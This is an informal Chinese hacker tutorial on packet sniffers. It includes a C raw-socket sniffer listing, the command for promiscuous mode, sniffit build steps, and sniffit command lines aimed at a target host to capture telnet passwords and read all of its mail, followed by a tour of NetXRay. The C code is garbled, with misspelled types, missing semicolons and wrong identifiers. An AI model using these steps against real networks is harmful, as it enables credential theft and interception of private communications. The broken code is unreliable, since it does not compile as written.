sniffer中文翻譯過來就是嗅探器。是一種威脅性極大的被動攻擊工具!使用在個攻擊可以監視網絡的狀態。數據流動情況以及網絡上傳輸的信息,便可以用網絡監聽到方式來進行攻擊,截獲網上的信息。所以黑客常常喜歡用他來截獲用戶口令!
sniffer可以分為兩類一個是硬件的一個軟件的,今天給大家講的主要是軟件的sniffer.sniffer只能抓取一個物理網段的包,就是說你和監聽的目標中間不能有路由(交換)或其他屏蔽廣播包的設備,這一點很重要。所以對一般撥號上網的用戶來說,是不可能利用sniffer來竊聽到其他人的通信內容的!
sniffer屬于第二層次的攻擊。就是說只有在攻擊者已經進入了目標系統的情況下,才能使用sniffer這中攻擊手段,以便得到更多的信息。sniffer除了能得到口令或用戶名外,還能得到更多的其他的信息,比如一個其他重要的信息,在網上轉送的金融信息等等。sniffer幾乎能得到任何在以太網上轉送的數據包。sniffer是一中比較復雜的攻擊手段,一般只有黑客老手才有能力使用他(其實只要了解了也可以去試試我就是常常練習才知道?。┒鴮τ谝粋€網絡新手來說,即使在一臺主機上成功地編譯并運行了sinffer,一般也不會得到什么有用的信息。因為通常網絡上的信息流量是相當大的,如果不加選繹的接收所有的包,然后要從中找到所需要的信息是非常的困難的,而且如果長時間地進行監聽,還有可能把放置sniffer的機器的硬盤撐爆!
現在給大家看一個C程序,它可以完成一般的監聽功能,【* *】是注解!
【*下面是包含進行調試用系統和網絡的函數的頭文件*】
#include
#include
#include
【*下面是IP和TCP包頭結構*】
struct ip {
unsigend int ip_length:4; 【*定義IP頭的長度*】
unsigend int ip_version:4; 【*IP版本,IPV4*】
unsigend char ip_tos; 【*服務類型*】
unsigend short ip_total_length; 【*IP數據包的總長度*】
unsigend short ip_id; 【*鑒定域*】
unsigend short ip_flags; 【*IP標志*】
unsigend char ip_ttl; 【*IP包的存活期*】
unsigend char ip_protocol; 【*IP上層的協議*】
unsigend short ip_sksum; 【*IP頭校研和*】
unsigend int ip_source; 【*源IP地址*】
unsigend int ip_dest; 【*目的IP地址*】
}
struct tcp {
unsigend short tcp_source_port; 【*定義TCP源端口*】
unsigend short tcp_dest_port 【*TCP目的的端口*】
unsigend int tcp_seqno; 【*TCP序列號*】
unsigend int tcp_ackno; 【*發送者期望的下一個序列號*】
unsigend int tcp_resl:4; 【*下面幾個是TCP的標志*】
tcp_hlen:4,
tcp_fin:1,
tcp_syn:1,
tcp_rst:1,
tcp_psh:1,
tcp_ack:1,
tcp_urg:1,
tcp_res:2,
unsigend short tcp_winsize; 【*能接收的最大字節數*】
unsigend short tcp_cksum; 【*TCP校研和*】
unsigend short tcp_urgent; 【*緊急事件標志*】
}
【*主函數*】
int main()
{
int sock, bytes_recieved,fromlen;
char buffer[65535];
struct sockaddr_in from; 【*定義socket結構*】
struct ip ip; 【*定義IP和TCP結構*】
struct tcp *tcp
sock = socket(AF_INET,SOCK,IPPROTO_TCP)
【*上面是建立socket連接,第一個參數是地址族類型,用INTERNET類型*】
【*第二個參數是socket類型,這里用了SOCK--RAW,它可以繞過傳輸層,*】
【*直接訪問IP層的包,為了調用SOCK--RAW,需要有ROOT權限*】
【*第三個參數是協議,選IPPROTO--TCP指定可接收TCP層的內容*】
while(1)
{
fromlen=sizeof from;
bytes_recieved=recvfrom(sock,buffer,sizeofbuffer,0,(struct sockaddr*)&from,&fromlen);
【*上面這個函數是從建立的socket連接中接收數據*】
【*因為recvfrom()需要一個sockaddr數據類型,所以我們用一個強制類型轉換*】
printf("\nByets received ::: %4d\n",bytes_recieved); 【*顯示出接收的數據字節數*】
printf("Source address:::%s\n",inet_ntoa(ftom.sin_addr); 【*顯示出源地址*】
ip=(struct ip*)buffer; 【*把接收的數據轉換為我們預先定義的結構,便于查看*】
printf("IP header length:::%d\n",ip->ip_length); 【*顯示IP頭的長度*】
printf("Protocol:::%d\n",ip->ip_potocol); 【*顯示協議類型,6是TCP,17是UDP*】
tcp=(struct tcp*)(buffer+(4*ip->ip_length);
【*上面這句需要詳細解釋一下,因為接收到的包頭數據中,IP頭的大小是固定的4字節*】
【*所以我們用IP長度乘以4,指向TCP頭部分*】
printf("Source potr:::%d\n",ntohs(tcp->tcp_source_port) 【*顯示出源端口*】
prinft("Dest potr:::%d\n",ntohs(tcp->tcp_dest_port) 【*顯示出目標端口*】
}
以上這個C程序是為了說明sniffer的接收原理而列舉的一個最簡單的列子,它這是完成了sniffer的接收功能,在運行之前我們還需要手工把網卡設置為混雜模式,在root權限下用命令設置:
ifconfig eth0 promisc
假設eth0是你的以太網設備接口,然后運行編譯好的程序清單(就是上面的C程序)就可以看到接受的數據包了?。ㄖ匾ⅲ哼@個程序的功能太簡單,只能顯示源地址,目標地址和源端口,目標端口等極為簡單的信息,對于你來說沒有用但是你可以改一下)
現在來看看**的sniffer程序
sniffit 可以運行在linux Solaris SGI NT等各種平臺運行的網絡監聽軟件,他主要針對的是TCP/IP協議的不安全性,對運行該協議的計算機進行監聽。
安裝
跟我來一步一步走別跑掉了嘻嘻!跑掉了別怪我呀!
1。用tat zvfx sniffit.*.*.*.tgz將下載的sniffit.*.*.*.tgz解壓縮到你想要的目的文件夾,如果版本是。0。3。7的話,你會看到該目錄下出現一個sniffit。0。3。7的目錄。
2。打開sniffit。0。3。7的目錄
3。執行/configure && make命令,只要在個過程中終端上沒有意外的錯誤提示信息出現,就算編譯成功了,然后就可以得到一個二進制的sniffit文件,直接運行他即可!
4。最后使用make clean命令清除掉臨時文件。
sniffit的使用方法
sniffit的命令
選項 作用
-V 顯示版本信息
-t
-s
-i 顯示出窗口界面,能查出當前 在所屬網絡上進行連接的機器
-l 擴展的交互模式,忽略所以其他選項,比-L強大的多
-c
-F
-n 顯示出假的數據包,如果使用ARP,RARP或者其他不是IP的數據包也會顯示出來
-N 只運行plugin時的選項,使其他選項失效
使用示列
假設在一個子網中有兩臺主機,一臺運行了sniffit,為sniffit.com另一臺的IP地址是192.168.0.1我把他稱為xxx.com按下列步驟操作!
1,檢查sniffit能否運行;
sniffit~/#sniffit -d -p 7 -t 192.168.0.1
并且打開另外一個窗口;
sniffit~/$telnet xxx.com
sniffit~/#sniffit -p 21 -l 0 -t 192.168.0.1
應該可以看到sniffit將遠程登陸到對方7號端口echo服務的包捕獲。
2,截獲xxx.com上的用戶密碼
sniffit:~/#sniffit -p 23 -t 192.168.0.1
意思就是監聽23端口包
3,如果xxx.com主機的根用戶聲稱有陌生的FTP連接并且希望記錄其動作
sniffit:~/3 sniffit -p 21 -l 0 -t 192.168.0.1
4,閱讀所有進出xxx.com的信件
sniffit:~/# sniffit -p 25 -l 0 -b -t 192.168.0.1&
或者sniffit:~/#- sniffit -p 25 -l0 -b -s 192.168.0.1&
5,監聽所以從192.168.0.1進出的包,對其行完全監視
sniffit:~/# sniffit -P ipicmptcp -p 0 -b -a -d -x -s 192.168.0.1
6,用more 192*命令讀取用下列方式記錄的密碼:
sniffit:~/# sniffit -p 23 -A .-t 192.168.0.1
哎好難寫呀!現在改給大家一個WIN下的嗅探器了呀!因為win普遍是的嗎HOHO
NetXRay
NetXRay的功能主要分為三大類
1,接收并分析數據包
2,傳送數據包功能
3,網路管理監看的功能
NetXRay的第三個功能是網絡管理監看,網絡管理功能中一共有7個按鈕?,F在給大家介紹一下把!
DashBoard按鈕:將子網下的流量以簡要的形式顯示出來
HostTable按鈕:觀察子網下每臺主機的網絡流量情況
Matrix按鈕:觀察子網下主機與主機之間的流量情況
History按鈕:將網絡上的數據以圖表的方式顯示
Protocal Distribution按鈕:分析網絡上各種通信協議的分布情況
Alarm LOG按鈕:設定網絡狀況警告
Addree Book按鈕:設定主機資料
由于時間的問題我就在這里介紹一下DashBoard按鈕的用法,(哇絕對又有用說我偷懶了,請大家原諒我還是學生沒很多時間接觸計算機所以就……等我放假了給大家更好的教材行不?。?
對于其他的按鈕的詳細資料大家可以去http://216.239.33.102找找!
DashBoard按鈕用來以簡要的形式顯示子網上的流量,單擊后會出現一個圖形界面很像汽車的油門表一樣的東西(沒時間給大家抓圖了請原諒)
其中,Packets行表示到目前為止共有多少數據包,Broadcasts行標稱有多少個廣播的數據包,Multucasts行表示有多少個播數據包,Bytes行表示共有多少字節的數據在你的子網中傳輸,Errors行表示網絡中錯誤發生的次數。
哎寫了這么多關于sniffer的介紹情況,現在大家應該對sniffer有些了解了把!
由于我文采不怎么好,或者有什么錯誤和不足的地方請大家提出建議來!我的QQ:193480
E-mailHeiKeAngel@54Hack.Com
永遠的HeiKeAngel